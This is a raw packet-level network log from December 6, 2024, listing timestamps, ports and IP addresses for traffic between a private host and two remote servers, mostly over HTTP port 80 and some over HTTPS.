Dec 6, 2024 22:08:23.709151983 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.709391117 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.709444046 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.710089922 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.710139990 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.710292101 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.710339069 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.711071968 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.711122036 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.711258888 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.711306095 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.712023020 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.712073088 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.712229967 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.712275028 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.713002920 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.713053942 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.713215113 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.713258028 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.713972092 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.714015961 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.714217901 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.714262009 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.714982033 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.715025902 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.715186119 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.715229988 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.715930939 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.715977907 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.716145992 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.716190100 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.716934919 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.716981888 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.717127085 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.717170000 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.717921972 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.717967033 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.718164921 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.718206882 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.718894958 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.718940020 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.719115019 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.719157934 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.719861984 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.719908953 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.720124960 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.720168114 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.720829010 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.720897913 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.721045017 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.721110106 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.721834898 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.721882105 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.722271919 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.722317934 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.722779036 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.722824097 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.723131895 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.723176956 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.723737955 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.723786116 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.724011898 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.724052906 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.724737883 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.724786997 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.725007057 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.725053072 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.725652933 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.725696087 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.768966913 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.769058943 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.769298077 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.769370079 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.769649029 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.769700050 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.770087957 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.770136118 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.770504951 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.770556927 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.770967960 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.771019936 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.771380901 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.771430016 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.771858931 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.771908045 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.772353888 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.772401094 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.772701979 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.772751093 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.773403883 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.773468018 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.773576975 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.773628950 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.774923086 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.774987936 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.775372982 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.775386095 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.775434017 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.776201010 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.776259899 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.776668072 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.776679993 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.776721954 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.777596951 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.777648926 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.778038025 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.778088093 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.778537035 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.778588057 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.778811932 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.778862000 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.779262066 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.779310942 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.779753923 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.779812098 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.780173063 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.780226946 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.780740023 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.780791044 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.781750917 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.781800985 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.782002926 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.782054901 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.782510042 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.782561064 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.782784939 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.782835007 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.784049988 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.784061909 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.784096956 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.784857035 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.784905910 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.785166979 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.785216093 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.785561085 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.785572052 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.785610914 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.787025928 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.787038088 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.787079096 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.787518024 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.787532091 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.787570000 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.787614107 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.788341045 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.788393974 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.788768053 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.788836956 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.789220095 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.789232016 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.789268970 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.790726900 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.790750980 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.790776014 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.790801048 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:23.791174889 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:23.791225910 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:24.040860891 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:24.040879965 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:24.040966988 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:24.050317049 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:24.050332069 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:24.050379992 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:24.160790920 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:24.160808086 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:24.160818100 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:24.160868883 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:24.160974026 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:24.170692921 CET	443	49705	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:24.171112061 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:24.171123981 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:24.171180010 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:24.171267033 CET	49705	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:24.171293020 CET	443	49705	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:24.172009945 CET	49705	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:24.172023058 CET	443	49705	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:24.172307014 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:24.172319889 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:24.172362089 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:24.172401905 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:24.173525095 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:24.173538923 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:24.173585892 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:24.173604965 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:24.174736977 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:24.174750090 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:24.174765110 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:24.174796104 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:24.174810886 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:24.176136017 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:24.176153898 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:24.176194906 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:24.176219940 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:24.177099943 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:24.177113056 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:24.177155972 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:24.178309917 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:24.178323030 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:24.178365946 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:24.178380013 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:24.178423882 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:24.179564953 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:24.179583073 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:24.179616928 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:24.179630041 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:24.180744886 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:24.180757046 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:24.180808067 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:24.180829048 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:24.181979895 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:24.181993008 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:24.182039022 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:24.182209015 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:24.183298111 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:24.183319092 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:24.183357954 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:24.183371067 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:24.184721947 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:24.184735060 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:24.184746027 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:24.184768915 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:24.184788942 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:24.185605049 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:24.185619116 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:24.185651064 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:24.185667038 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:24.186866045 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:24.186878920 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:24.186922073 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:24.186943054 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:24.188129902 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:24.188148975 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:24.188193083 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:24.188206911 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:24.189321041 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:24.189333916 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:24.189343929 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:24.189378023 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:24.189414978 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:24.190574884 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:24.190601110 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:24.190623999 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:24.190639019 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:24.191755056 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:24.191801071 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:24.192178011 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:24.192190886 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:24.192244053 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:24.192312002 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:24.193330050 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:24.193342924 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:24.193384886 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:24.194571972 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:24.194586039 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:24.194638968 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:24.196018934 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:24.196033001 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:24.196068048 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:24.196084976 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:24.196947098 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:24.196990967 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:24.197011948 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:24.197026014 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:24.198189974 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:24.198203087 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:24.198214054 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:24.198240042 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:24.198263884 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:24.199409008 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:24.199423075 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:24.199464083 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:24.200630903 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:24.200691938 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:24.205513000 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:24.205565929 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:24.206722975 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:24.206736088 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:24.206770897 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:24.207930088 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:24.207943916 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:24.207978964 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:24.209073067 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:24.209116936 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:24.209386110 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:24.209398985 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:24.209441900 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:24.210553885 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:24.210571051 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:24.210616112 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:24.210629940 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:24.211771011 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:24.211785078 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:24.211828947 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:24.211848974 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:24.213021994 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:24.213036060 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:24.213088989 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:24.214282036 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:24.214339972 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:24.215424061 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:24.215435982 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:24.215481997 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:24.216794014 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:24.216808081 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:24.216846943 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:24.217860937 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:24.217878103 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:24.217917919 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:24.217933893 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:24.219037056 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:24.219055891 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:24.219103098 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:24.219116926 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:24.230998993 CET	443	49706	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:24.231395960 CET	49706	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:24.231410980 CET	443	49706	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:24.231839895 CET	49706	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:24.231844902 CET	443	49706	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:24.235797882 CET	443	49704	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:24.236002922 CET	443	49703	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:24.236092091 CET	49704	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:24.236099958 CET	443	49704	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:24.236120939 CET	443	49707	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:24.236466885 CET	49704	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:24.236474991 CET	443	49704	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:24.236660957 CET	49703	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:24.236684084 CET	443	49703	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:24.237014055 CET	49703	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:24.237019062 CET	443	49703	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:24.237201929 CET	49707	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:24.237214088 CET	443	49707	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:24.237555981 CET	49707	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:24.237560034 CET	443	49707	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:24.611294985 CET	443	49705	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:24.611325026 CET	443	49705	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:24.611371040 CET	49705	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:24.611392021 CET	443	49705	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:24.611608982 CET	49705	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:24.611623049 CET	443	49705	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:24.611655951 CET	49705	443	192.168.2.7	13.107.246.63
